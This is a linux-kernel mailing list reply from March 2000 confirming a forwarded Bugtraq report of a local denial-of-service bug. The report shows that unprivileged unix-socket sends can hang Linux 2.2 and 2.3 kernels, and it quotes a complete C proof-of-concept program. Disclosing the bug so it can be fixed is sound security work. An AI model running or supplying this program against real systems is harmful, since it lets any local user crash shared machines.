Messages in this thread |  | | | Date | Sat, 25 Mar 2000 19:44:35 +0200 (EET) | | From | Panu Matilainen <> | | Subject | Re: [: Local Denial-of-Service attack against Linux] |
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On Fri, 24 Mar 2000, bert hubert wrote:
> ----- Forwarded message from Jay Fenlason <fenlason@CLEARWAY.COM> ----- > > X-Mailer: Mutt 1.0.1i > Date: Thu, 23 Mar 2000 17:55:09 -0500 > From: Jay Fenlason <fenlason@CLEARWAY.COM> > Subject: Local Denial-of-Service attack against Linux > To: BUGTRAQ@SECURITYFOCUS.COM > > This amusing little program will hang Linux 2.2.12 (default Red Hat 6.1), > 2.2.14 (latest stable kernel) and 2.3.99-pre2 (latest development kernel) > on my 6x86 scratch machine and our various Pentium development machines. > Note that this does not require any special privileges.
Confirmed (as a normal user). Kernel is stock RH6.1 2.2.12-20.
- Panu -
> > The send system call immediately puts the kernel in a loop spewing > kmalloc: Size (131076) too large > forever (or until you hit the reset button). > > Apparently unix domain sockets are ignoring the /proc/sys/net/core/wmem_max > parameter, despite the documentation to the contrary. The fix should be > simple, but I haven't had time to chase it down, and I'm not (usually) a > Linux kernel developer. > > -- JF > > --- BEGIN INCLUDED SOURCE FILE --- > > #include <sys/types.h> > #include <sys/socket.h> > #include <string.h> > > char buf[128 * 1024]; > > int main ( int argc, char **argv ) > { > struct sockaddr SyslogAddr; > int LogFile; > int bufsize = sizeof(buf)-5; > int i; > > for ( i = 0; i < bufsize; i++ ) > buf[i] = ' '+(i%95); > buf[i] = '\0'; > > SyslogAddr.sa_family = AF_UNIX; > strncpy ( SyslogAddr.sa_data, "/dev/log", sizeof(SyslogAddr.sa_data) ); > LogFile = socket ( AF_UNIX, SOCK_DGRAM, 0 ); > sendto ( LogFile, buf, bufsize, 0, &SyslogAddr, sizeof(SyslogAddr) ); > return 0; > } > --- END INCLUDED SOURCE FILE --- > > > ----- End forwarded message ----- > > -- > | http://www.rent-a-nerd.nl > | > | - U N I X - > | Inspice et cautus eris - D11T'95 > > - > To unsubscribe from this list: send the line "unsubscribe linux-kernel" in > the body of a message to majordomo@vger.rutgers.edu > Please read the FAQ at http://www.tux.org/lkml/ >
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